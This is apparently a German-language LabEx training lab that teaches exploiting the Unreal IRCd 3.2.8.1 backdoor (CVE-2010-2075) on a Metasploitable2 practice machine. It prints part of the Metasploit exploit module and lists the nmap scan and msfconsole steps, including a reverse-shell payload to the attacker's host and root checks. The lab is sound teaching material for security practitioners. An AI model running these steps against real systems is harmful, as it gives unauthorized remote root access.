Ausnutzung der Unreal IRCd-Schwachstelle mit Nmap und Metasploit

CybersicherheitBeginner
Jetzt üben

Einführung

In diesem Lab lernen wir, wie man den Unreal IRCd-Dienst auf der Metasploitable2-Zielmaschine, die auf der LabEx-Plattform gehostet wird, angreift. Wir beginnen damit, die Schwachstelle im Unreal IRCd-Dienst zu verstehen und führen anschließend einen Schwachstellen-Scan mit Nmap durch. Nachdem wir den anfälligen Dienst identifiziert haben, nutzen wir das Metasploit-Framework, um die Schwachstelle auszunutzen und eine Remote-Shell auf der Zielmaschine zu erhalten. Abschließend validieren wir den erfolgreichen Angriff, indem wir Befehle auf dem kompromittierten System ausführen.

Die Unreal IRCd-Schwachstelle verstehen und die Experimentierumgebung starten

Die Version 3.2.8.1 von Unreal IRCd enthält eine Backdoor-Schwachstelle (CVE-2010-2075), die es Remote-Angreifern ermöglicht, beliebigen Code auf dem betroffenen System auszuführen. Die Schwachstelle existiert im DEBUG3_DOLOG_SYSTEM-Makro, das externen bösartigen Code einbindet, welcher von einem Angreifer ausgenutzt werden kann.

Relevante Informationen:

Das Metasploit-Modul zur Ausnutzung dieser Schwachstelle:

Hier ist ein kurzer Überblick über das Metasploit-Modul:

## Require necessary modules
require 'msf/core'

## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
  ## Module initialization with details like name, description, author, references, etc.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      ## ... (omitted for brevity)
    ))

    ## Set default options
    register_options(
      [
        Opt::RPORT(6667)
      ], self.class)
  end

  ## Exploit method
  def exploit
    ## Connect to the remote service
    connect

    ## Print banner information
    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    ## Send the backdoor command
    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    ## Wait for session creation or timeout
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

Starten Sie nun die Angriffsmaschine (Kali Linux-Container) und die Zielmaschine (Metasploitable2 virtuelle Maschine) für das Experiment.

  1. Öffnen Sie ein xfce-Terminal auf der LabEx-Hostmaschine und starten Sie das Metasploitable2-Ziel mit dem folgenden Befehl:
sudo virsh start Metasploitable2

Warten Sie, bis die Zielmaschine gestartet ist; dies kann 1-3 Minuten dauern.

  1. Testen Sie die Konnektivität zur Zielmaschine durch einen Ping:
ping 192.168.122.102

Drücken Sie Ctrl+C, um den Ping zu beenden.

  1. Starten Sie den Kali Linux-Container und treten Sie der Bash-Umgebung bei, indem Sie Folgendes ausführen:
docker run -ti --network host b5b709a49cd5 bash
  1. Testen Sie innerhalb des Kali-Containers die Netzwerkverbindung zur Zielmaschine:
ping 192.168.122.102

Drücken Sie Ctrl+C, um den Ping zu beenden.

Nun laufen sowohl die Angriffsmaschine als auch die Zielmaschine, und Sie können mit dem Penetrationstest beginnen.

Hinweis: Wenn Sie die aktuelle Bash versehentlich verlassen, wird der Kali-Container automatisch gestoppt. Sie können docker run -ti --network host b5b709a49cd5 bash erneut auf dem Host ausführen, um einen neuen Kali-Container zu starten und die Bash zu betreten, um das Experiment fortzusetzen.

Schwachstellen-Scanning durchführen

In diesem Schritt führen wir ein Schwachstellen-Scanning auf der Zielmaschine durch, um offene Ports und die auf diesen Ports laufenden Dienste zu identifizieren. Wir verwenden hierfür das leistungsstarke Tool Nmap (Network Mapper).

  1. Starten Sie die Metasploit-Konsole im Kali Linux-Container:
cd ~
msfconsole
  1. Verwenden Sie innerhalb der Metasploit-Konsole den Befehl nmap, um die Zielmaschine zu scannen:
nmap -sV -T4 192.168.122.102

Die Option -sV aktiviert die Versionserkennung für die offenen Ports, und -T4 setzt die Timing-Richtlinie auf ein aggressives Niveau (1-5, wobei höher schneller bedeutet).

Die Ausgabe sollte einen offenen Port 6667 zeigen, auf dem der Dienst unreal ircd läuft.

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu verlassen und die Überprüfung zu starten.

Die Unreal IRCd-Schwachstelle ausnutzen

Nachdem wir den anfälligen Unreal IRCd-Dienst auf Port 6667 identifiziert haben, können wir mit der Ausnutzung mittels des Metasploit-Frameworks fortfahren.

  1. Falls Sie sich nicht in der Metasploit-Konsole befinden, starten Sie diese bitte zuerst:
cd ~
msfconsole
  1. Suchen Sie in der Metasploit-Konsole nach dem Modul unreal_ircd_3281_backdoor:
search unreal_ircd_3281_backdoor
  1. Laden Sie das Modul:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Legen Sie den Ziel-Host fest:
set RHOST 192.168.122.102
  1. Setzen Sie ein Reverse-Shell-Payload für das Modul:
set PAYLOAD cmd/unix/reverse
  1. Geben Sie die IP-Adresse des Kali-Hosts an, die die Reverse-Shell empfangen soll:
set LHOST 192.168.122.1
  1. Führen Sie den Exploit aus:
exploit

Wenn der Exploit erfolgreich ist, sollten Sie eine Remote-Shell auf der Zielmaschine erhalten. Wenn Metasploit meldet, dass eine Command-Shell-Sitzung geöffnet wurde, können Sie mit den Validierungsbefehlen in der Shell fortfahren.

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu verlassen und die Überprüfung zu starten.

Die Ausnutzung validieren

Um zu bestätigen, dass die Ausnutzung erfolgreich war, können wir Befehle in der im vorherigen Schritt erhaltenen Remote-Shell ausführen.

  1. Falls Sie sich nicht in der Metasploit-Konsole befinden, starten Sie diese bitte zuerst:
cd ~
msfconsole
  1. Überprüfen Sie den aktuellen Benutzer mit dem Befehl whoami:
whoami
  1. Überprüfen Sie den Hostnamen mit dem Befehl hostname:
hostname
  1. Überprüfen Sie die IP-Adresse mit dem Befehl ifconfig:
ifconfig

Wenn die Ausgabe root als aktuellen Benutzer, metasploitable als Hostnamen anzeigt und die IP-Adresse mit der Zielmaschine (192.168.122.102) übereinstimmt, bestätigt dies, dass die Ausnutzung erfolgreich war und Sie die vollständige Kontrolle über das Zielsystem erlangt haben.

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu verlassen und die Überprüfung zu starten.

Zusammenfassung

In diesem Lab haben wir die Unreal IRCd-Schwachstelle kennengelernt und erfahren, wie man sie mit dem Metasploit-Framework ausnutzt. Wir begannen damit, die Schwachstelle und ihre Auswirkungen zu verstehen, führten dann ein Schwachstellen-Scanning durch, um den anfälligen Dienst zu identifizieren. Nachdem wir den Unreal IRCd-Dienst auf Port 6667 gefunden hatten, nutzten wir das entsprechende Metasploit-Modul, um die Schwachstelle auszunutzen und Remote-Zugriff auf die Zielmaschine zu erhalten. Abschließend validierten wir den Erfolg durch die Ausführung von Befehlen auf dem kompromittierten System. Dieses Lab bot praktische Erfahrungen in der Schwachstellenanalyse, Exploitation und Validierung nach dem Angriff – essenzielle Fähigkeiten für ethische Hacker und Cybersicherheitsexperten.